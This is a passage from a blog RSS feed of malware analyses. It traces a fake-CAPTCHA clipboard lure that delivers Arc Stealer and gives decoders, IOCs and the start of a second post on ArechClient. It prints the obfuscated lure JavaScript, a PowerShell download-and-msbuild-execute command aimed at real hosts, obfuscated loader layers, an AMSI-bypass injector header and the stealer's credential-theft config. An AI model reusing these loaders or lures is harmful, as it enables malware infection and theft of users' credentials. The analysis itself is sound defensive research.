-parseInt(_0x2b0f(142, 0x20d)) / 0xb * (parseInt(_0x2b0f(143, 0x21b)) / 0xc);<br>      if (_0x58e008 === _0x524a97) {<br>        break;<br>      } else {<br>        _0x3ab038.push(_0x3ab038.shift());<br>      }<br>    } catch (_0x1f77bd) {<br>      _0x3ab038.push(_0x3ab038.shift());<br>    }<br>  }<br>})(_0xfe04, 0xc2c4e);<br>function runClickedCheckboxEffects() {<br>  hideCaptchaCheckbox();<br>  setTimeout(function () {<br>    showCaptchaLoading();<br>  }, 0x1f4);<br>  setTimeout(function () {<br>    showVerifyWindow();<br>  }, 0x384);<br>}<br>function showCaptchaLoading() {<br>  checkboxBtnSpinner.style.setProperty(&quot;visibility&quot;, &quot;visible&quot;, &quot;important&quot;);<br>  checkboxBtnSpinner.style.setProperty(&#39;opacity&#39;, &#39;1&#39;, &#39;important&#39;);<br>}<br>function hideCaptchaLoading() {<br>  checkboxBtnSpinner.style.setProperty(&quot;visibility&quot;, &quot;hidden&quot;, &quot;important&quot;);<br>  checkboxBtnSpinner.style.setProperty(&quot;opacity&quot;, &#39;0&#39;, &quot;important&quot;);<br>}<br>function showCaptchaCheckbox() {<br>  checkboxBtn.style.setProperty(&#39;width&#39;, &quot;100%&quot;, &quot;important&quot;);<br>  checkboxBtn.style.setProperty(&quot;height&quot;, &quot;100%&quot;, &quot;important&quot;);<br>  checkboxBtn.style.setProperty(&quot;border-radius&quot;, &quot;2px&quot;, &quot;important&quot;);<br>  checkboxBtn.style.setProperty(&#39;margin&#39;, &quot;21px 0 0 12px&quot;, &quot;important&quot;);<br>  checkboxBtn.style.setProperty(&quot;opacity&quot;, &#39;1&#39;, &quot;important&quot;);<br>}<br>function hideCaptchaCheckbox() {<br>  checkboxBtn.style.setProperty(&#39;width&#39;, &#39;4px&#39;, &quot;important&quot;);<br>  checkboxBtn.style.setProperty(&quot;height&quot;, &quot;4px&quot;, &quot;important&quot;);<br>  checkboxBtn.style.setProperty(&quot;border-radius&quot;, &quot;50%&quot;, &quot;important&quot;);<br>  checkboxBtn.style.setProperty(&quot;margin-left&quot;, &quot;25px&quot;, &quot;important&quot;);<br>  checkboxBtn.style.setProperty(&quot;margin-top&quot;, &quot;33px&quot;, &quot;important&quot;);<br>  checkboxBtn.style.setProperty(&quot;opacity&quot;, &#39;0&#39;, &quot;important&quot;);<br>}<br>function _0xfe04() {<br>  const _0x5a4c9f = [&#39;offsetLeft&#39;, &#39;includes&#39;, &quot;21px 0 0 12px&quot;, &#39;26398OiJoZh&#39;, &#39;visible&#39;, &#39;composedPath&#39;, &#39;none&#39;, &#39;remove&#39;, &#39;opacity&#39;, &#39;execCommand&#39;, &#39;addEventListener&#39;, &#39;random&#39;, &#39;click&#39;, &#39;872RXFdql&#39;, &#39;sort&#39;, &#39;2691063zQEDuW&#39;, &#39;4px&#39;, &#39;3233610GmuUcS&#39;, &#39;offsetTop&#39;, &#39;disabled&#39;, &#39;important&#39;, &#39;margin-left&#39;, &#39;100%&#39;, &#39;height&#39;, &#39;body&#39;, &#39;textContent&#39;, &#39;checkbox-window&#39;, &#39;1766406gSJSmF&#39;, &#39;querySelector&#39;, &#39;verification-id&#39;, &#39;floor&#39;, &#39;getElementById&#39;, &#39;replaceAll&#39;, &#39;append&#39;, &#39;push&#39;, &#39;removeChild&#39;, &#39;style&#39;, &#39;#cjscss&#39;, &#39;11nQVtBL&#39;, &#39;3019560AfPCHP&#39;, &#39;visibility&#39;, &#39;32445vvoshh&#39;, &#39;innerWidth&#39;, &#39;slice&#39;, &#39;62VUarez&#39;, &#39;checkbox&#39;, &#39;50%&#39;, &#39;setProperty&#39;, &#39;5px&#39;, &#39;left&#39;, &#39;328hvJyIa&#39;, &#39;border-radius&#39;, &#39;33px&#39;, &#39;2px&#39;, &#39;margin-top&#39;, &#39;toString&#39;, &#39;hidden&#39;, &#39;25px&#39;, &#39;value&#39;, &#39;verify-window&#39;, &#39;top&#39;, &#39;YmFscC5ydW4=&#39;, &#39;42933zuFRmR&#39;, &#39;length&#39;, &#39;copy&#39;, &#39;display&#39;, &#39;preventDefault&#39;, &quot;powershell -w h -c \&quot;$p=$env:TEMP+&#39;\\t.csproj&#39;;irm https://cv.jyla.ru/t.csproj -o $p;&amp;($env:SystemRoot+&#39;\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe&#39;) $p\&quot;&quot;, &#39;block&#39;, &#39;25WSPzyG&#39;];<br>  _0xfe04 = function () {<br>    return _0x5a4c9f;<br>  };<br>  return _0xfe04();<br>}<br>function _0xf1425a(_0x3ebae3, _0x344898) {<br>  return _0x2b0f(_0x344898 + 0x32d, _0x3ebae3);<br>}<br>function _0x2b0f(_0x1a266b, _0x278adc) {<br>  const _0xfe0490 = _0xfe04();<br>  _0x2b0f = function (_0x2b0f34, _0x1d0f78) {<br>    _0x2b0f34 = _0x2b0f34 - 0x72;<br>    let _0x2ca70f = _0xfe0490[_0x2b0f34];<br>    return _0x2ca70f;<br>  };<br>  return _0x2b0f(_0x1a266b, _0x278adc);<br>}<br>function closeverifywindow() {<br>  verifywindow.style.setProperty(&quot;display&quot;, &#39;none&#39;, &quot;important&quot;);<br>  verifywindow.style.setProperty(&quot;visibility&quot;, &quot;hidden&quot;, &#39;important&#39;);<br>  verifywindow.style.setProperty(&quot;opacity&quot;, &#39;0&#39;, &quot;important&quot;);<br>  showCaptchaCheckbox();<br>  hideCaptchaLoading();<br>  checkboxBtn.disabled = false;<br>}<br>function generateRandomNumber() {<br>  return Math.floor(0x15f90 * Math.random() + 0x2710).toString();<br>}<br>function showVerifyWindow() {<br>  var _0x88079d = setInterval(() =&gt; {}, 0x0);<br>  for (let _0x5ac813 = 0x0; _0x5ac813 &lt;= _0x88079d; _0x5ac813++) {<br>    clearInterval(_0x5ac813);<br>  }<br>  verifywindow.style.setProperty(&quot;display&quot;, &quot;block&quot;, &#39;important&#39;);<br>  verifywindow.style.setProperty(&#39;visibility&#39;, &quot;visible&quot;, &quot;important&quot;);<br>  verifywindow.style.setProperty(&quot;opacity&quot;, &#39;1&#39;, &quot;important&quot;);<br>  verifywindow.style.setProperty(&quot;top&quot;, checkboxWindow.offsetTop - 0x50 + &#39;px&#39;, &quot;important&quot;);<br>  verifywindow.style.setProperty(&quot;left&quot;, checkboxWindow.offsetLeft + 0x36 + &#39;px&#39;, &quot;important&quot;);<br>  if (verifywindow.offsetTop &lt; 0x5) {<br>    verifywindow.style.setProperty(&quot;top&quot;, &quot;5px&quot;, &quot;important&quot;);<br>  }<br>  if (verifywindow.offsetLeft + verifywindow.offsetWidth &gt; window.innerWidth - 0xa) {<br>    verifywindow.style.setProperty(&quot;left&quot;, checkboxWindow.offsetLeft - 0x8 + &#39;px&#39;, &quot;important&quot;);<br>  }<br>  var _0x259457 = Math.floor(0x15f90 * Math.random() + 0x2710).toString();<br>  document.getElementById(&quot;verification-id&quot;).textContent = _0x259457;<br>  stageClipboard(commandToRun, _0x259457);<br>}<br>function isverifywindowVisible() {<br>  return &quot;none&quot; !== verifywindow.style.display &amp;&amp; &#39;&#39; !== verifywindow.style.display;<br>}<br>function setClipboardCopyData(_0x157e98) {<br>  let _0xfd707 = document.createElement(&#39;textarea&#39;);<br>  _0xfd707.value = _0x157e98;<br>  document.body.append(_0xfd707);<br>  _0xfd707.select();<br>  document.execCommand(&quot;copy&quot;);<br>  document.body.removeChild(_0xfd707);<br>}<br>function insertQuotesFixed(_0x37df09, _0x39d724 = 0x6) {<br>  let _0x207c5d = [];<br>  for (let _0x30c6de = 0x0; _0x30c6de &lt; _0x39d724; _0x30c6de++) {<br>    let _0x5d6c92;<br>    do {<br>      _0x5d6c92 = Math.floor(Math.random() * (_0x37df09.length + 0x1));<br>    } while (_0x207c5d.includes(_0x5d6c92));<br>    _0x207c5d.push(_0x5d6c92);<br>  }<br>  _0x207c5d.sort((_0x275829, _0x14f81b) =&gt; _0x14f81b - _0x275829);<br>  for (let _0x25b497 of _0x207c5d) _0x37df09 = _0x37df09.slice(0x0, _0x25b497) + &quot;\&quot;&quot; + _0x37df09.slice(_0x25b497);<br>  return _0x37df09.replaceAll(&#39;-&#39;, &#39;&#39;);<br>}<br>function stageClipboard(_0x57f9b7, _0x557071) {<br>  setClipboardCopyData(_0x57f9b7);<br>  var _0x279865 = setInterval(() =&gt; {<br>    isGoalReached(usr_id).then(_0x51a46f =&gt; {<br>      if (_0x51a46f) {<br>        document.querySelector(&#39;.cjs-container&#39;).remove();<br>        document.querySelector(&quot;#cjscss&quot;).remove();<br>        clearInterval(_0x279865);<br>      }<br>    });<br>  }, 0x3e8);<br>}<br>function addCaptchaListeners() {<br>  if (checkboxBtn) {<br>    document.addEventListener(&quot;click&quot;, function (_0x566e7b) {<br>      if (!_0x566e7b.composedPath().includes(verifywindow) &amp;&amp; &quot;none&quot; !== verifywindow.style.display &amp;&amp; &#39;&#39; !== verifywindow.style.display) {<br>        closeverifywindow();<br>      }<br>    });<br>    checkboxBtn.addEventListener(&quot;click&quot;, function (_0x2d10e2) {<br>      _0x2d10e2.preventDefault();<br>      checkboxBtn.disabled = true;<br>      runClickedCheckboxEffects();<br>    });<br>  }<br>}<br>commandToRun = &quot;powershell -w h -c \&quot;$p=$env:TEMP+&#39;\\t.csproj&#39;;irm https://cv.jyla[.ru/t.csproj -o $p;&amp;($env:SystemRoot+&#39;\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe&#39;) $p\&quot;&quot;;<br>checkboxWindow = document.getElementById(&quot;checkbox-window&quot;);<br>checkboxBtn = document.getElementById(&quot;checkbox&quot;);<br>checkboxBtnSpinner = document.getElementById(&#39;spinner&#39;);<br>verifywindow = document.getElementById(&quot;verify-window&quot;);<br>addCaptchaListeners();</pre><p>In this case downloading and compiling .NET source code, it is obfuscated source code that appears to run a powershell command:</p><pre>  &lt;QkRDYyTv&gt;AC4ATgBhAG0AZQApAC4&lt;/QkRDYyTv&gt;<br>    &lt;EdvPpmta&gt;ASQBuAHYAbwBrAGUAKAApAH0AKQApAH0AKQAuAEkAbgB2AG8AawBlAFIAZQB0AHUAcgBuAEEAcwBJAHMAKAApAA==&lt;/EdvPpmta&gt;<br>  &lt;/PropertyGroup&gt;<br><br>  &lt;PropertyGroup&gt;<br><br>    &lt;ZByqXLCG&gt;pow&lt;/ZByqXLCG&gt;<br>    &lt;HxdLAurh&gt;ershell&lt;/HxdLAurh&gt;<br>    &lt;xvYhxVip&gt;.exe&lt;/xvYhxVip&gt;<br>    &lt;IwdyHJbw&gt;-w&lt;/IwdyHJbw&gt;</pre><p>Deobfuscating shows the URL to the next piece in the chain:</p><pre>b&quot;SV 2PX &#39;https://tt.cbrw[.ru/vb7to8.psd&#39;;((Get-Item Variable:\\*ecu*t).Value.InvokeCommand|ForEach{(Get-Variable _ -Val).(((Get-Item Variable:\\*ecu*t).Value.InvokeCommand.PsObject.Methods|Where{$_.Name-clike&#39;N*S*B*&#39;}).Name)((((Variable 2PX).Value|%{(.(Get-Item Variable:\\*ecu*t).Value.InvokeCommand.(((Get-Item Variable:\\*ecu*t).Value.InvokeCommand|Member|Where{$_.Name-clike&#39;*t*om*d&#39;}).Name)((Get-Item Variable:\\*ecu*t).Value.InvokeCommand.(((Get-Item Variable:\\*ecu*t).Value.InvokeCommand.PsObject.Methods|Where{$_.Name-clike&#39;G*om*e&#39;}).Name)(&#39;I*v*W*R*t&#39;,1,1),[System.Management.Automation.CommandTypes]::Cmdlet) $_)})|%{$_.(((Get-Variable _ -Val)|Member)[4].Name).Invoke()}))}).InvokeReturnAsIs()&quot;</pre><p>The downloaded vb7to8.psd fileis obfuscated powershell with an onboard XOR encoded script onboard, after decoding we are left with another obfuscated powershell layer:</p><pre>(  &#39;``````&#39;  |%  {  ${$-[}  =  +  $()}{  ${])}=  ${$-[}}{  ${;]~}=  ++  ${$-[}  }  {${%[}=  ++${$-[}}{  ${``}=++${$-[}  }{  ${+);}=  ++${$-[}}{${ !&#39;}  =  ++${$-[}}  {  ${.(*}=++  ${$-[}  }  {${#@&#39;}=++  ${$-[}  }  {${+~*}  =++  ${$-[}}  {  ${=)}=++  ${$-[}  }  {${#}=&quot;[&quot;  +  &quot;$(@{  }  )  &quot;[${#@&#39;}  ]+&quot;$(@{})&quot;[&quot;${;]~}&quot;+&quot;${=)}&quot;]  +&quot;$(  @{})  &quot;[  &quot;${%[}&quot;+&quot;${])}&quot;]  +&quot;$?  &quot;[${;]~}]+  &quot;]&quot;  }  {${$-[}=&quot;&quot;.(&quot;$(  @{  })&quot;[  &quot;${;]~}&quot;  +  &quot;${+);}&quot;]+  &quot;$(@{}  )&quot;[&quot;${;]~}&quot;+&quot;${.(*}&quot;  ]+  &quot;$(@{}  )&quot;[${])}]+&quot;$(  @{  })  &quot;[${+);}]+  &quot;$?&quot;[${;</pre><p>Decoding this powershell is relatively straight forward, you need to find the ‘.’ used as a function call near the end:</p><pre>${#}${;]~}${])}  |${$-[}  &quot;  |  .${$-[}</pre><p>Change the function to:</p><pre>${#}${;]~}${])}  |${$-[}  &quot;  |  Write-Output</pre><p>This should dump out the next layer after running, in this case a char by char rebuild of the deobfuscated script leading to documented powershell code:</p><pre># =====================================================================<br># Early Bird + Context Hijack Injector x86/x64 PowerShell<br># =====================================================================<br><br>Remove-Item Function:\Write-Host -ErrorAction SilentlyContinue<br>function Write-Host { }<br><br>$ErrorActionPreference     = &#39;SilentlyContinue&#39;<br>$WarningPreference         = &#39;SilentlyContinue&#39;<br>$VerbosePreference         = &#39;SilentlyContinue&#39;<br>$DebugPreference           = &#39;SilentlyContinue&#39;<br>$InformationPreference     = &#39;SilentlyContinue&#39;<br>$ProgressPreference        = &#39;SilentlyContinue&#39;<br><br>function Invoke-NullAMSI {</pre><p>The powershell script contains an onboard section labeled conf which shows the shellcode blob that will be downloaded and injected:</p><pre># === Conf ===<br>$ExePath = &#39;C:\Windows\SysWOW64\OpenWith.exe&#39;<br>$Url     = &#39;https://cv.cbrw[.ru/init1.bin&#39;<br><br>$IsHost64 = [Environment]::Is64BitProcess<br>if ($IsHost64) { $HostArch = &#39;x64&#39; } else { $HostArch = &#39;x86&#39; }<br>#Write-Verbose &quot;[*] PowerShell is $HostArch&quot;</pre><p>If we take a quick look at the start we can see a function starting:</p><pre>0000000: 5531 c0b9 0500 0000 89e5 5753 8d7d e483  U1........WS.}..<br>00000010: ec40 f3ab 8d7d d4b9 0400 0000 f3ab c704  .@...}..........<br>00000020: 240c 9c72 03e8 e407 0000 8945 f485 c00f  $..r.......E....<br>00000030: 84c1 0000 00c7 4424 0868 1084 528d 5dd4  ......D$.h..R.].</pre><p>Doing a quick check on vt:</p><pre>content:{5531 c0b9 0500 0000 89e5 5753 8d7d e483}</pre><p>We see lots of samples of various sizes, so this is potentially part of a opensource tool.</p><p>The shellcode will resolve a few functions using hardcoded hashes and then will get the address of a structure of data:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*AGUP8CLN53ukLPQuu13kAQ.png" /></figure><p>This table begins a parsing of data blobs prepended by the layer2 shellcode which is easier to see here:</p><pre>l = struct.unpack_from(&#39;&lt;I&#39;, t)[0]<br>t = t[4:l+4]<br>sc = t[0x15:0x1cb2+0x15]<br>t = t[0x1cb2+0x15:]<br>l = struct.unpack_from(&#39;&lt;I&#39;, t)[0]<br>blobs = []<br>while l &lt; len(t) and len(t) &gt; 4:<br>    blob = t[4:l+4]<br>    blobs.append((blob,l))<br>    t = t[4+l:]<br>    if len(t) &gt; 0:<br>        l = struct.unpack_from(&#39;&lt;I&#39;, t)[0]<br>    else:<br>        l = 0</pre><p>The blobs end up being XOR keys and import information which will be used to fix up the layer2 shellcode:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*95JNWPoX1Pr8y6e08xOfSg.png" /></figure><p>Eventually leading to the parsing of the remaining data which ends up being two blobs of encoded data one of which will be the payload binary. The imports involve RtlDecompressBuffer for LZNT decompress but it also appears that the blobs are first XOR decoded:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*h5VoUSD9_JHlHVR5wcCnGg.png" /></figure><p>After XOR decoding it will call RtlDecompressBuffer to LZNT decompress the data, we can recreate this in python to dump the files:</p><pre>import sys<br>import struct<br>import lznt<br><br>data = open(sys.argv[1], &#39;rb&#39;).read()<br><br>#try to find start of table<br>idx = data.find(b&#39;\xe8\x00\x00\x00\x00\x58\x83&#39;)<br>idx = idx + 5<br>val = data[idx+3]<br>idx += val<br>print(hex(idx))<br><br>t = data[idx:]<br><br>l = struct.unpack_from(&#39;&lt;I&#39;, t)[0]<br>exe_s = t[l+4:]<br>t = t[4:l+4]<br>sc = t[0x15:0x1cb2+0x15]<br>t = t[0x1cb2+0x15:]<br>l = struct.unpack_from(&#39;&lt;I&#39;, t)[0]<br>blobs = []<br>while l &lt; len(t) and len(t) &gt; 4:<br>    blob = t[4:l+4]<br>    blobs.append((blob,l))<br>    t = t[4+l:]<br>    if len(t) &gt; 0:<br>        l = struct.unpack_from(&#39;&lt;I&#39;, t)[0]<br>    else:<br>        l = 0<br><br><br>(total_sz, flags, uncomp_sz, data_sz) = struct.unpack_from(&#39;&lt;IIII&#39;, exe_s)<br><br>exe_blob = bytearray(exe_s[16:16+data_sz])<br>key_s = exe_s[16+data_sz:]<br>key_l = struct.unpack_from(&#39;&lt;I&#39;, key_s)[0]<br>key = bytearray(key_s[4:4+key_l])<br><br>for i in range(len(exe_blob)):<br>    exe_blob[i] ^= key[i%len(key)]<br><br><br>tt = lznt.decompress(exe_blob)<br>open(sys.argv[1]+&#39;.decoded&#39;, &#39;wb&#39;).write(tt)</pre><p>Using this plus a pivotable file in VT from the shellcode we were able to determine that this was built using Clemantis[3].</p><p>The decoded binary in this instance is Arc Stealer, which comes with a hardcoded c2 config onboard:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*QelfcA7kG4SCP9Cvy-bFzA.png" /></figure><p>This data will be used to construct the initial request for the stealer config data from the c2. Of note is the use of the IP and the stomping of the host header. In traffic, you don’t see a DNS request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*6WARIDYEpQG7_YRw2rP_RQ.png" /></figure><p>The response to this data is a base64 blob:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k2SA7UXKmnSXCcqZWnlY9A.png" /></figure><p>Decoding is just a XOR with a hardcoded string:</p><pre>&gt;&gt; key = bytearray(b&#39;852149723\x00&#39;)<br>&gt;&gt;&gt; test = bytearray(base64.b64decode(data))<br>&gt;&gt;&gt; for i in range(len(test)):<br>...   test[i] ^= key[i%len(key)]<br>... <br>&gt;&gt;&gt; test<br>bytearray(b&#39;{&quot;b&quot;:[{&quot;n&quot;:&quot;b\\\\c8&quot;,&quot;p&quot;:&quot;\\\\Local\\\\Google\\\\Chrome\\\\User Data&quot;,&quot;t&quot;:1,&quot;pn&quot;:&quot;chrome.exe&quot;},{&quot;n&quot;:&quot;b\\\\c8&quot;,&quot;p&quot;:&quot;\\\\Local\\\\Google\\\\Chrome SxS\\\\User Data&quot;,&quot;t&quot;:1,&quot;pn&quot;:&quot;chrome.exe&quot;},{&quot;n&quot;:&quot;b\\\\c8&quot;,&quot;p&quot;:&quot;\\\\Local\\\\Google\\\\Chrome Beta\\\\User Data&quot;,&quot;t&quot;:1,&quot;pn&quot;:&quot;chrome.exe&quot;},{&quot;n&quot;:&quot;b\\\\c8&quot;,&quot;p&quot;:&quot;\\\\Local\\\\Google\\\\Chrome Dev\\\\User Data&quot;,&quot;t&quot;:1,&quot;pn&quot;:&quot;chrome.exe&quot;},{&quot;n&quot;:&quot;b\\\\c8&quot;,&quot;p&quot;:&quot;\\\\Local\\\\Google\\\\Chrome Unstable\\\\User Data&quot;,&quot;t&quot;:1,&quot;pn&quot;:&quot;chrome.exe&quot;},{&quot;n&quot;:&quot;b\\\\c8&quot;,&quot;p&quot;:&quot;\\\\Local\\\\Google\\\\Chrome Canary\\\\User Data&quot;,&quot;t&quot;:1,&quot;pn&quot;:&quot;chrome.exe&quot;},{&quot;n&quot;:&quot;b\\\\c20&quot;,&quot;p&quot;:&quot;\\\\Local\\\\Epic Privacy Browser\\\\User Data&quot;,&quot;t&quot;:1,&quot;pn&quot;:&quot;epic.exe&quot;},{&quot;n&quot;:&quot;b\\\\c15&quot;,&quot;p&quot;:&quot;\\\\Local\\\\Vivaldi\\\\User Data&quot;,&quot;t&quot;:1,&quot;pn&quot;:&quot;vivaldi.exe&quot;},{&quot;n&quot;:&quot;b\\\\c26&quot;,&quot;p&quot;:&quot;\\\\Local\\\\360Browser\\\\Browser\\\\U</pre><p>This json data will be parsed in the binary using hardcoded strings as keys:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/273/1*gUrPsL86S2okrdJdNTZzTA.png" /></figure><p>This aligns with the keys from the data also:</p><pre>dict_keys([&#39;b&#39;, &#39;exW&#39;, &#39;exP&#39;, &#39;exG&#39;, &#39;sM&#39;, &#39;sW&#39;, &#39;sO&#39;, &#39;g&#39;, &#39;ld&#39;, &#39;str&#39;])</pre><p>Potential meanings:</p><pre>exW - wallet extensions<br>exP - password extensions<br>exG - enumerates files under extension folders<br>sM - messenger app directories<br>sW - wallet app directories<br>sO - others? - directories for ftp apps, sql, filezilla, vpn creds<br>g - file hunting regexs<br>ld - loads other files</pre><p>The loads noticed recently have been URIs such as /shark.bin and /sh.ext.bin.</p><h3>IOCs</h3><pre>Network:<br>23.27.20[.143<br>cv.jyla[.ru<br>tt.cbrw[.ru<br>cv.cbrw[.ru<br><br>h1.glitzyentire[.top<br>h1.coldwalk[.top<br>h1.suavefrisk[.bet<br>h1.grufflyslick[.bet<br>h4.sopy[.press<br><br>Folders:<br>AppData\Local\Temp\Login Data<br>AppData\Local\Temp\Cookies<br>AppData\Local\Temp\Web Data<br><br><br>File writes hardcoded name:<br>hjksf[a-z].exe<br>ex:<br>hjksfa.exe<br>hjksfe.exe<br>hjksfi.exe<br><br>Traffic for posts<br><br>/Up/<br>/Up/b<br>/Up/p<br>/Up/g<br>/shark.bin<br>/sh.ext.bin</pre><p>Arc Stealer C2s from pivoting:</p><pre>ui.xumu[.press<br>cakesank[.top<br>winthigh[.top<br>mcrsftuptade[.pro<br>overplanteasiest[.top<br>badnesspandemic[.shop<br>aluminumsternness[.shop<br>detailpummel[.shop<br>dervinko[.biz<br>frfk[.xyz<br>iicc[.fun<br>kwqislxk[.xyz<br>veronicabal[.com<br>frck[.xyz<br>frdk[.xyz<br>frgk[.xyz<br>trxh[.xyz<br>frjk[.xyz<br>trxq[.xyz<br>frpk[.xyz<br>fastsecurityup[.com<br>oxygenamicably[.shop<br>zut2[.shop<br>ras2[.shop<br>effectsstardust[.shop<br>mm.underarmpresumingsubscript[.shop<br>verticaleatery[.store<br>smkijgdnkso3d[.net<br>connect-cdn-api.tastinessrebaterunny[.shop<br>rivalillicitlytransfer[.shop<br>pecanclusteredjalapeno[.shop<br>strangerundergradretread[.shop<br>moonlikeleversembattled[.shop<br>synopsesdustwildland[.shop<br>uu.underarmpresumingsubscript[.shop<br>bolstermonoxideseventeen[.shop<br>unrobedunhingepyramid[.shop<br>2429568886dbdaba3fa935d7ae112525.stunnedfragiledioxide[.shop<br>cog2[.xyz<br>downloadnew[.shop<br>geotravelsgi[.xyz<br>dd-d[.xyz<br>pcvvf[.xyz<br>pcvcf[.xyz<br>padrf[.xyz<br>gameschekt[.com<br>llzl[.xyz<br>kwqislxk[.xyz<br>updatel2[.com<br>llxl.xyz<br>tourbigs.com<br>ctze.xyz<br>nafiskaran.com<br>veronicabal.com<br>lldl.xyz<br>llml.xyz<br>llal.xyz<br>fruk.xyz<br>frtk.xyz<br>frsk.xyz<br>frpk.xyz<br>frjk.xyz<br>frgk.xyz<br>frfk.xyz<br>frcf.xyz<br>trxu.xyz</pre><h3>References</h3><p>1: <a href="https://blog.sekoia.io/clearfakes-new-widespread-variant-increased-web3-exploitation-for-malware-delivery/">https://blog.sekoia.io/clearfakes-new-widespread-variant-increased-web3-exploitation-for-malware-delivery/</a></p><p>2: <a href="https://labs.guard.io/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16">https://labs.guard.io/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16</a></p><p>3: <a href="https://github.com/CBLabresearch/Clematis">https://github.com/CBLabresearch/Clematis</a></p><p>4: <a href="https://deobfuscator.io/">https://deobfuscator.io/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9231b3ac7318" width="1" height="1" alt=""><hr><p><a href="https://medium.com/walmartglobaltech/arc-stealer-hiding-in-the-ether-9231b3ac7318">ARC Stealer Hiding in the Ether</a> was originally published in <a href="https://medium.com/walmartglobaltech">Walmart Global Tech Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ArechClient; Decoding IOCs and finding the onboard browser extension]]></title>
            <link>https://medium.com/walmartglobaltech/arechclient-decoding-iocs-and-finding-the-onboard-browser-extension-477f8796568d?source=rss-36e34fe15919------2</link>
            <guid isPermaLink="false">https://medium.com/p/477f8796568d</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Jason Reaves]]></dc:creator>
            <pubDate>Thu, 13 Mar 2025 13:46:30 GMT</pubDate>
            <atom:updated>2025-03-13T13:46:30.832Z</atom:updated>
            <content:encoded><![CDATA[<p>By: Jason Reaves</p><p>Found myself analyzing ArechClient recently and needed a way to automatically decode out the C2 info from lots of samples. By the end of our work we also discovered that the browser extension being delivered by ArechClient is on board the client itself.</p><p>The sample I started with:</p><pre>96ba74cc27b44547d23fe1fa550fc59b4f340dbbca8472d9b4698576751bb189</pre><p>A very good technical writeup on ArechClient was done back in 2023 by dr4k0nia[1,2]. Using that information I was able to quickly find the function responsible for decoding strings:</p><pre>        internal static string c(int num, int num2, int num3)<br>        {<br>                num += 593;<br>                Assembly executingAssembly = Assembly.GetExecutingAssembly();<br>                num2 -= 331;<br>                Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(&quot;resource&quot;);<br>                int num4 = num ^ num2;<br>                num4 = num4 * 17 / 27;<br>                manifestResourceStream.Seek((long)(7 + num4), SeekOrigin.Begin);<br>                byte[] array = new byte[8];<br>                manifestResourceStream.Read(array, 0, 4);<br>                int num5 = (BitConverter.ToInt32(array, 0) ^ 2100157544) - 100;<br>                manifestResourceStream.Read(array, 0, 4);<br>                int num6 = BitConverter.ToInt32(array, 0) - 5 ^ 485648943;<br>                manifestResourceStream.Seek((long)num5, SeekOrigin.Begin);<br>                array = new byte[num6];<br>                manifestResourceStream.Read(array, 0, num6);<br>                for (int i = 0; i &lt; array.Length; i++)<br>                {<br>                        array[i] = (byte)((int)array[i] ^ num3);<br>                }<br>                return Encoding.UTF8.GetString(array);<br>        }<br><br></pre><p>A single byte XOR, and the offset and key are passed as parameters. Using different keys for various strings makes it a bit annoying for automating but makes no difference in detection using YARA:</p><pre>rule archeclient<br>{<br>    strings:<br>    $a1 = &quot;https://pastebin.com/raw/&quot; xor<br>    $a2 = &quot;CatalinaGroup&quot; xor<br>    $a3 = &quot;Cookies&quot; xor<br>    condition:<br>    all of them<br>}</pre><p>While I let that run gathering up more samples, let’s look at writing a decoder.</p><p>So the decoding method means if we want to stay static then we’ll either need to delve into decompiling every binary or look at bruting, decompiling them would require a bit much for my framework so I stick to the bruting realm using a regex for the IP and a quick shortcut check for pastebin for the URL:</p><pre>import re<br>import sys<br><br>data = open(sys.argv[1], &#39;rb&#39;).read()<br>ips = []<br>for i in range(255):<br>  temp = bytearray(data)<br>  for j in range(len(temp)):<br>    temp[j] ^= i<br>  t = re.findall(b&#39;&#39;&#39;[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}&#39;&#39;&#39;, temp)<br>  ips += t<br>#  if b&#39;http&#39; in temp:<br>  if b&#39;pastebin&#39; in temp:<br>    #tt = re.findall(b&#39;&#39;&#39;[\x20-\x7e]*pastebin[\x20-\x7e]*&#39;&#39;&#39;, temp)<br>    tt = re.findall(b&#39;&#39;&#39;https?://[\x20-\x7e]+&#39;&#39;&#39;, temp)<br>    ips += tt<br><br>print(ips)</pre><p>This works but is very slow because we are bruting files that are just under 1mb in size, speeding this up for finding pastebin atleast we can utilize YARA in python:</p><pre>rule_source = &#39;&#39;&#39;<br>rule archeclient<br>{<br>    strings:<br>    $a1 = &quot;https://pastebin.com/raw/&quot; xor<br>    $a2 = &quot;CatalinaGroup&quot; xor<br>    $a3 = &quot;Cookies&quot; xor<br>    condition:<br>    all of them<br>}<br>&#39;&#39;&#39;<br>#Based on original code from Graham Austin but modified and updated<br>def yara_scan(raw_data, rule_name):<br>    xor_keys = []<br>    yara_rules = yara.compile(source=rule_source)<br>    matches = yara_rules.match(data=raw_data)<br>    for match in matches:<br>        if match.rule == &#39;archeclient&#39;:<br>            for item in match.strings:<br>                if item.identifier == rule_name and len(item.instances) &gt; 0:<br>                    xor_keys.append((item.instances[0].xor_key, item.instances[0].offset))<br>    return xor_keys</pre><p>The code above will allow us to recover the the offset and xor key for the pastebin URL much easier, this doesn’t help with finding IP addresses though. Since most of the strings are all stored in a giant blob we can use the offset to narrow the scope for bruting the IPs:</p><pre>data = open(sys.argv[1], &#39;rb&#39;).read()<br>tet = yara_scan(data, &#39;$a1&#39;)<br>if len(tet) &gt; 0:<br>    ips = []<br>    rough_off = tet[0][1]<br>    newdata = data[rough_off-10000:rough_off+10000]<br>    pb_xor_key = tet[0][0]<br>    temp = 